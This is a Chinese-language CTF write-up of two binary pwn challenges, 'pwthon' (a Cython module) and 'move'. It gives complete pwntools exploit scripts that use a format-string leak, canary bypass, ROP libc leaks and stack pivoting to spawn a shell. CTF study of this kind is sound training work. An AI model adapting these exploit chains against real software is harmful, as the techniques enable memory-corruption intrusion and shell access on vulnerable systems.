链接:https://pan.baidu.com/s/1dEHXG4QZIISKDtTgL3ZqmQ
提取码:q407
pwthon
第一次遇见cpython的题,无头苍蝇一样乱撞,坐大牢
给了app.cpython-37m-x86_64-linux-gnu.so和main.py两个文件
最大的问题就是调试环境(跑不起来可太难受了),题目给的main.py需要把os.mkdir(folder_name)
改为os.makedirs(folder_name)
3.37的cpython似乎(试了其他版本都没跑起来)只能用3.37才能跑了起来,python main.py就可以跑起来了
调试就直接attach到python进程上,python进程地址空间可以看到cpython.so被加载进来了
漏洞主要出现在_pyx_pw_3app_3app_main的_pyx_f_3app_Welcome2Pwnthon
(剩余两个函数的长度真的要命)
看下保护
grxer@Ubuntu22:~/share/match/2023xsb/pwthon_34a4c98f089057330b960f4eba8ae404$ checksec ./app.cpython-37m-x86_64-linux-gnu.so [*] '/mnt/hgfs/share/match/2023xsb/pwthon_34a4c98f089057330b960f4eba8ae404/app.cpython-37m-x86_64-linux-gnu.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RPATH: b'/home/xiran/anaconda3/envs/cython/lib' FORTIFY: Enabled
|
白给的基地址这样就可以有pop rdi这样的gadget用,格式化字符串漏洞用来泄露canary(也可以泄露libc地址但是远程栈环境极可能不一样,选择了rop来泄露libc地址),栈溢出来rop来泄露libc后返回到_pyx_f_3app_Welcome2Pwnthon,再次溢出getshell
from pwn import * context(os='linux',arch='amd64') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') cpython_so=ELF('./app.cpython-37m-x86_64-linux-gnu.so') io = process(argv=['python','main.py']) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) li = lambda x: log.info(x) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) bstr = lambda x : str(x).encode() p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def db(x): if debug: gdb.attach(io,'b *'+hex(x)) def dbpie(x): if debug: gdb.attach(io,'b *$rebase('+hex(x)+')') def b(x=''): if debug: gdb.attach(io,x)
sla(b'> ',b'0') ru(b' gift ') cpython_so_base=int(r(len("0x7fad184ef8b0")),16)-0x38b0-(0x7f7af04ec000 -0x7f7af04e9000) p('cpython',cpython_so_base)
poprdi=cpython_so_base+0x0000000000003f8f ret=0x000000000000301a+cpython_so_base app_Welcome2Pwnthon=0x99F0+cpython_so_base sl(b'%p'*14) x=rl() x=io.recvline(keepends=False) canary=int((x.decode()).split("0x")[-1],16) p('canry',canary) pay=flat( cyclic(0x108), canary, 0, poprdi, cpython_so.got['puts']+cpython_so_base, cpython_so.plt['puts']+cpython_so_base, app_Welcome2Pwnthon ) sl(pay) rl() puts_ad=uu64(r(6)) p('puts',puts_ad) libcbase=puts_ad-libc.sym['puts'] p('libc',libcbase) system=libcbase+libc.sym['system'] bin_sh_addr = libcbase + next(libc.search(b"/bin/sh")) sl('grxer') pay=flat( cyclic(0x108), canary, 0, poprdi, bin_sh_addr, ret, system ) sl(pay)
io.interactive()
|
move
常规栈迁移,不过题目给的bss地址太靠近上面的只读段了,所以不能返回_start(),可以返回到main
第二次read(0, &sskd, 0x20uLL);此时栈已经是sskd附件了,raed可以改掉read自己的返回地址进行rop
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./pwn' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: debug = 0 remotestr="" remotestr=remotestr.split(":") io = remote(remotestr[0],int(remotestr[1],10)) else: debug = 1 io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) li = lambda x: log.info(x) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) bstr = lambda x : str(x).encode() p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def db(x): if debug: gdb.attach(io,'b *'+hex(x)) def dbpie(x): if debug: gdb.attach(io,'b *$rebase('+hex(x)+')') def b(x=''): if debug: gdb.attach(io,x) def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
''' ============================================================ 0x000000000040134c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040134e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401350 : pop r14 ; pop r15 ; ret 0x0000000000401352 : pop r15 ; ret 0x000000000040134b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040134f : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040119d : pop rbp ; ret 0x0000000000401353 : pop rdi ; ret 0x0000000000401351 : pop rsi ; pop r15 ; ret 0x000000000040134d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret
'''
db(0x0401241)
sskd=0x04050A0 pay=flat( 0x0000000000401353, elf.got['puts'], elf.sym['puts'], 0x0401264 )
sa(b'in!\n',pay) sa(b'number',p32(0x12345678)) pay=cyclic(0x30)+p64(sskd-8) +p64(0x040124b) sa(b'oLa',pay) puts_ad=uu64(r(6)) libcbase=find_libc('puts',puts_ad) p('libc',libcbase) system=libcbase+libc.dump('system') bin_sh_addr = libcbase + libc.dump("str_bin_sh")
pay=flat( 0x0000000000401353, bin_sh_addr, system ) sa(b'in!\n',pay) io.interactive()
|